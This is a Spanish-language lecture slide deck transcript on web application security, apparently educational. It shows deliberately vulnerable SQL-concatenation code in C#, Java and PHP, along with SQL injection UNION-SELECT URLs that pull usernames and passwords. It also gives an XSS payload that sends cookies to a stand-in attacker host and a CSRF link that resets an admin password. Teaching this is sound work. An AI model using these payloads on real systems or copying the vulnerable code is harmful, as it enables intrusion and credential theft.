Seguridad 120618095150-phpapp01

Post on 12-Jun-2015

70 views 0 download

Transcript of Seguridad 120618095150-phpapp01

   

Seguridad de Aplicaciones Web

Everth Juvenal Gallegos Puma

   

¿Que es un aplicacion web?

En la ingeniería de software se denomina aplicación web a aquellas aplicaciones que los usuarios pueden utilizar accediendo a un servidor web a través de Internet o de una intranet mediante un navegador. En otras palabras, es una aplicación software que se codifica en un lenguaje soportado por los navegadores web en la que se confía la ejecución al navegador.

   

Arquitectura de una AppWeb

http://areyouahuman.com/

   

HTTP● protocolo de transferencia de hipertexto.

● Ejemplo:

Cliente:

GET /index.php HTTP/1.1

Host: www.example.com

User-Agent: nombre-cliente

Cookie:phpsession=12aba789491279912

Connection: Close

Servidor:

HTTP/1.1 200 OK

Date: Fri, 31 Dec 2011 23:59:59 GMT

Content-Type: text/html

Content-Length: 1221

<html>

<body>

<h1>Página principal de tuHost</h1>

   

¿A que nos enfrentamos?

   

¿Por donde empezamos?

   

¿Qué son los riesgos de seguridad en aplicaciones?

   

Algunos Ejemplos

● SQL Injeccion: Injeccion de codigo sql en consultas

codigo vulnerable

C#:

SqlCommand cmd = new SqlCommand("SELECT * FROM noticias WHERE id = '" +Request.QueryString(“id”) + "'", con);

using( SqlDataReader rdr = cmd.ExecuteReader() );

   

Java:

Statement stmt = con.createStatement();

ResultSet rset = stmt.executeQuery("SELECT * FROM noticias WHERE id = '" + request.getParameter(“id”) + "';");

PHP:

$query_result = mysql_query("SELECT * FROM noticias WHERE id = '" . $_GET[“id”]. "'");

   

● Testing

http://ejemplo.com/noticias.php|asp|jsp?id=1 and 1=1

internamente:

Select * from noticias where id=1 and 1=1

“muestra contenido”

http://ejemplo.com/noticias.php|asp|jsp?id=1 and 1=2

internamente:

Select * from noticias where id=1 and 1=2

“No muestra Contenido”

   

● Ataque

allar el numero de columnas

http://ejemplo.com/noticias.php|asp|jsp?id=1 order by 1,2,..etc

hacer consultas

http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,table_name,4,5,..,etc from information_schema.tables

http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,table_name,4,5,..,etc from information_schema.tables.

Consula a la tabla de usuario

http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,usuario,password,5,..,etc from usuario

   

● XSS:

ataque del lado del cliente para injectar codigo html, javascript.

Codigo Vulnerable:

C#:

response.write(request.querystring(“msg”));

JAVA:

out.println(request.getParameter(“msg”));

PHP:

echo $_GET[“msg”];

   

● Testing:

http://ejemplo.com/buscar.php|asp|jsp?msg=<h1>Hola</h1>.

● Ataque:

http://ejemplo.com/buscar.php|asp|jsp?msg=document.location=http://juaker.com/xss.php?datos=document.cookie;

   

● Falcificacion de peticiones:

Ataque:

<a href=”http://mipagina.com/resert.php?

user=admin&newpass=admin”>Gana dinero con un click</a>.

● Almacenamiento Criptográfico Inseguro

“cifrar adecuadamente datos importantes”

ejemplo

passcifrado=md5(salt+passoriginal);

   

Defectuosa Configuracion de Seguridad:

Ejemplo

aspx:

Padding oracle:Exposicion de codigo remotamente

PHP:

php en modo cgi:Exposicion y ejecucion de codigo remoto

   

● Errores de capa 8:

Usuarios descuidados

contraseñas debiles

archivos de respaldo no borrados.

   

Gracias¿Preguntas?

Everth.gallegos@gmail.com